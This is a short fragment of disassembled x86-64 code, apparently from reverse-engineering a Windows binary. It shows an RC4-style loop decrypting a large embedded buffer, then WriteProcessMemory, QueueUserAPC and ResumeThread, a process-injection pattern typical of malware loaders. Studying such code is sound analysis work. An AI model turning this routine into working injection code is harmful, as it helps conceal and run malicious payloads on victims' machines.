idiv r9d
movsxd rax, edx
movsx ecx, byte [rax + rdi]
add ecx, ebx
add r8d, ecx
and r8d, 0x800000ff
jge 0x140001161
dec r8d
or r8d, 0xffffff00
inc r8d
movzx eax, r8b
lea rcx, [rsp + 0x50]
add rcx, rax
inc r10d
movzx eax, byte [rcx]
mov byte [r11], al
inc r11
mov byte [rcx], bl
cmp r10d, 0x100
jl 0x140001130
mov eax, r15d
lea r8, [0x140003080]
xor dil, dil
mov rbx, r15
inc eax
and eax, 0x800000ff
jge 0x1400011a6
dec eax
or eax, 0xffffff00
inc eax
movsxd rcx, eax
lea r11, [rsp + 0x50]
add r11, rcx
lea rdx, [rsp + 0x50]
movzx r10d, byte [r11]
add dil, r10b
movzx ecx, dil
add rdx, rcx
movzx ecx, byte [rdx]
mov byte [r11], cl
mov byte [rdx], r10b
movzx edx, byte [r11]
add r10, rdx
movzx edx, r10b
movzx r10d, byte [rsp + rdx + 0x50]
xor byte [rbx + r8], r10b
inc rbx
cmp rbx, 0x1086f2b
jl 0x140001194
mov r9d, 0x1086f2b
mov qword [rsp + 0x20], r15
mov rdx, rbp
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor r8d, r8d
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ResumeThread]
xor eax, eax
mov rcx, qword [rsp + 0x1e0]
xor rcx, rsp
call fcn.140001260
lea r11, [rsp + 0x1f0]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rdi
ret